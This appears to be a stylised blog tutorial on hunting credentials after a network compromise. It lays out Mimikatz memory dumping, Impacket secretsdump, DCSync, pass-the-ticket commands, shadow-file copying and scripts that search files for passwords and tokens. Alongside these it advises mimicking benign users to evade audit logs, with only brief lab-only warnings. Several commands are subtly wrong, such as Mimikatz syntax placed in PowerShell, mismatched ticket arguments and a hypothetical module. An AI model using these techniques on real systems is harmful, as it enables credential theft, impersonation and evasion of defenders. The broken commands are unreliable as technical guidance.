Post-Exploitation, Hunting Credentials

⏳ 8 min read min read

Table of Contents

    Cybersecurity Illustration

    The city pulses with electric rain, neon signs flickering in the haze, circuits humming in the darkness. You step through the alleyway of servers, your boots squelching on puddles of code, the air thick with the scent of ozone and burning silicon. Somewhere up there in the cloud towers someone left a door ajar, credentials shimmering in the pale glow of a monitor. You are no longer an intruder, you are the hunter now, tracking the strings that link identities, accounts, privileges. Post-exploitation is your domain, credentials your quarry.

    In this digital dystopia the best treasures are not data dumps or crypto-wallets, it is access, the keys to the castle. When you possess credentials you become more than an infiltrator, you become a phantom engineer walking through locked doors. But this city fights back, with audit logs, multi-factor nightmares, anti-malware sentinels, intrusion-detection labyrinths. To survive, to succeed, you must learn how to hunt credentials cleanly, how to understand what you can leave behind, how to elevate, how to move sideways in the shadows without tripping alarms.

    What Means “Post-Exploitation” and Why Credentials Matter

    Post-exploitation refers to all those actions you take once you have a foothold in a network. It is no longer bypassing the wall, it is rebuilding the interior, planting seeds, seeking other entry points. One of the first priorities is elevating your privileges, moving laterally, hiding tracks while gathering credentials. Credentials, password hashes, tokens, keys, are the crowbar that opens new territory.

    They let you masquerade as someone else, extract more privileges, pivot to critical servers. Without credentials your access may be limited, brittle, short-lived. With them you gain breathing space, options, power. But each credential harvested increases risk. Each login attempt, each hash dump, each decrypt sets off alarms if done carelessly.

    Key Techniques for Hunting Credentials

    Here are broad categories you will encounter, with practical notes, so you know what to try and what to fear.

    1. Memory-dumping and in-memory credentials
      Credentials often live briefly in memory. Tools such as Mimikatz in a Windows environment, or gcore / volatility on Linux, are used to dump process memory, obtain plaintext credentials or token handles. There are legitimate system admin uses, but also legal risk and detection risk if misused.

    2. Password hash extraction
      On Windows, SAM database, NTDS.dit, SYSVOL secrets. On Linux, /etc/shadow, LUKS headers. Once you have the hashes, cracking them (offline) allows access. Techniques such as pass-the-hash or pass-the-ticket in Windows allow reuse without needing plaintext at all.

    3. Credential replays and token reuse
      Kerberos tickets, Kerberos golden or silver tickets, OAuth tokens, JWTs, SSH keys. If you steal them, inject them. Move laterally, impersonate services.

    4. Keylogging, interception, phishing (if assets permit)
      Hardware or software keyloggers, network sniffing (ARP poisoning, man-in-the-middle), exploiting insecure protocols, setting up phishing campaigns.

    Practical Code Snippets

    Below are some safe examples for experimentation in authorised environments (such as your own lab). Do not run these on networks you do not own or have explicit permission for. Improper use could be malicious and illegal.

    Bash: Extracting Local Linux Hashes (for your own VM)

    bash
#!/bin/bash

# Requires sudo privileges
SHADOW="/etc/shadow"
HASH_BACKUP="/tmp/shadow_backup"

if [ "$(id -u)" -ne 0 ]; then
  echo "Run as root"
  exit 1
fi

cp $SHADOW $HASH_BACKUP
chmod 600 $HASH_BACKUP
echo "Hash backup created at $HASH_BACKUP"

    This copies /etc/shadow which contains password hashes. Only for study or recovery in your own systems. Never steal or transmit sensitive hashes without consent.

    Python: Searching for Credentials in Memory Dumps

    python
import re
import sys

def search_memory_dump(dump_path, pattern):
    findings = []
    regex = re.compile(pattern)
    with open(dump_path, 'rb') as f:
        data = f.read()
    for match in regex.finditer(data):
        findings.append(match.group(0))
    return findings

if __name__ == "__main__":
    if len(sys.argv) != 3:
        print("Usage: python3 hunter.py dump.bin 'password|pass|key'")
        sys.exit(1)
    dump_file = sys.argv[1]
    pattern = sys.argv[2]
    creds = search_memory_dump(dump_file, pattern.encode())
    for c in creds:
        print("Found:", c)

    This scans a memory-dump dump.bin for strings like “password”, “pass”, “key”. Useful for discovering poorly protected secrets. Legal only in your own lab, with your own memory dumps.

    PowerShell: Enumerating Windows Kerberos Tickets

    powershell
# Requires run as administrator
Import-Module .\Invoke-Kerberos.psm1

# List Ticket-Granting Tickets
Get-KerberosTicketInfo | Format-Table Identity, Type, ValidFrom, ValidTill

    This uses a hypothetical module Invoke-Kerberos to view active Kerberos tickets. Useful to see if service accounts are used and for how long. Permission and authorisation required.

    Defending and Detecting: Things Red-Teamers Need to Know

    While seeking credentials, you must also think like a blue-teamer, else detection will swallow you whole.

    • Audit logs: Windows event logs (e.g. Event IDs 4624, 4625, 4672), Linux auth logs (/var/log/auth.log), sudo logs. Always check what is recorded when credentials are used or changed. If you mimic activity, ensure time gaps, mimic benign user behaviour.

    • Shadow creation: Defensive tools monitor for creation or tampering of shadow copies or backups of password/hash stores. If you see files like C:\Windows\NTDS\NTDS.dit being copied, or new shadow copies, those are red flags requiring counter-measures.

    • Credential isolation: Use least privilege, disable or rotate tokens, enforce multi-factor authentication, use privileged access workstations, avoid service accounts with high rights tied to static credentials.

    • Network encryption, zero-trust architecture: If all communications are encrypted, intercepting credentials via network becomes significantly harder. Zero-trust means every access is verified, credential leaks have reduced capability.

    Ethics, Legality and Responsible Hygiene

    Everybody who learns post-exploitation must understand the boundary between research and wrongdoing. If you gather credentials without permission you risk severe legal consequences. Always perform any tests in a lab environment or on networks you own, or with formal written consent. When sharing knowledge, do not supply tools or scripts that facilitate unauthorized access without strong warnings or limiting context.

    Keep your own credentials safe. Rotate them frequently. Use password managers. Never reuse passwords. Monitor credit not only for identity fraud but for credential-leak events. Credentials are your most dangerous toy and your greatest responsibility.

    Improving Skills in Post-Exploitation: Hunting Credentials

    Aim

    You will learn how attackers locate, access and extract credentials once they have compromised a system, and how to practice these techniques safely through hands-on examples.

    Learning outcomes

    By the end you will be able to:
    - Identify key credential storage locations on Windows and Linux systems (memory, vaults, files).
    - Use tools like Mimikatz, Impacket and built-in OS commands to extract plaintext passwords, hashes or tickets.
    - Perform “pass-the-hash”, “pass-the-ticket” and DCSync attacks in lab environments.
    - Write basic scripts in Bash and PowerShell to find credential artefacts and automate dumping credentials.

    Prerequisites

    • A virtual lab environment: one or more Windows machines (domain-joined and standalone) plus a Linux machine.
    • Administrative privileges on the target Windows machine.
    • Tools installed: Mimikatz, Impacket (Python), PowerShell, OpenSSL (Linux).
    • Knowledge of authentication basics (NTLM, Kerberos), filesystems, processes, basic scripting.

    Step-by-step guide to hunting credentials

    1. Explore stored credentials on the file system

    • On Linux, inspect files like /etc/shadow, configuration files under /etc that may contain hard-coded credentials.
    • On Windows, search for files like C:\Users\<username>\AppData\Local\Microsoft\Credentials and snippets inside PowerShell profiles.

    Tip: 

    bash
grep -RHiI "password" /etc 2>/dev/null
find C:\Users\*\AppData\Local\Microsoft\Credentials\* -type f

    2. Dump credentials from memory with Mimikatz

    Elevate to SYSTEM or Administrator then run:

    powershell
privilege::debug
sekurlsa::logonpasswords

    This reveals usernames, passwords (if stored in plaintext), NTLM hashes and Kerberos tickets. (examcollection.com)

    3. Use Impacket to dump domain credentials or NTLM hashes

    On a machine where Python and Impacket are installed run:

    bash
python3 ~/impacket/examples/secretsdump.py DOMAIN/username:password@target_ip

    This produces NTLM hashes, Kerberos tickets and sometimes plaintext credentials depending on target privileges. (examcollection.com)

    4. Perform a DCSync attack to simulate account replication

    In PowerShell (with an account that has “Replicating Changes” permissions):

    powershell
Import-Module ActiveDirectory
Lsadump::dcsync /domain:example.com /user:targetUser

    This pulls password hash data directly from Active Directory without installing agents on domain controllers. (reddit.com)

    5. Kerberos ticket theft and pass-the-ticket

    Acquire Kerberos tickets with Mimikatz:

    powershell
kerberos::ptc /user:DOMAIN\\user /rc4:<NTLM-hash> /domain:DOMAIN /sid:<SID>

    Inject existing .kirbi tickets:

    powershell
kerberos::ptt ticket.kirbi

    Allows authentication as another user using their Kerberos ticket. (powershellcommands.com)

    6. Automate searches for credential artefacts with PowerShell

    powershell
$paths = @(
  "$env:UserProfile\AppData\Local\Microsoft\Credentials",
  "$env:UserProfile\Documents",
  "$env:ProgramData"
)
foreach ($path in $paths) {
  Get-ChildItem -Path $path -Recurse -ErrorAction SilentlyContinue |
  Select-String -Pattern "(password|passwd|pwd|token|key)" |
  ForEach-Object { Write‐Host "Found potential credential in $($_.Path): $_" }
}

    This script hunts for files containing keywords often used near credential strings.

    7. Practice safely, document findings, learn detection

    • Only perform these actions in your lab or on machines you have permission to use.
    • Keep good notes of which techniques work under what conditions (privilege level, domain membership, OS version).
    • Use logging tools and security software to understand how credential-stealing activity is detected.

    Applying this structured approach in lab environments helps you master credential hunting, understand attacker behaviour and improve defender visibility.

    Learning to hunt credentials means mastering patience, stealth, technique, empathy for both attacker and defender. Once you hold the keys you decide which doors to open, how to move in shadows, when to vanish. The city waits, the code hums, time to listen.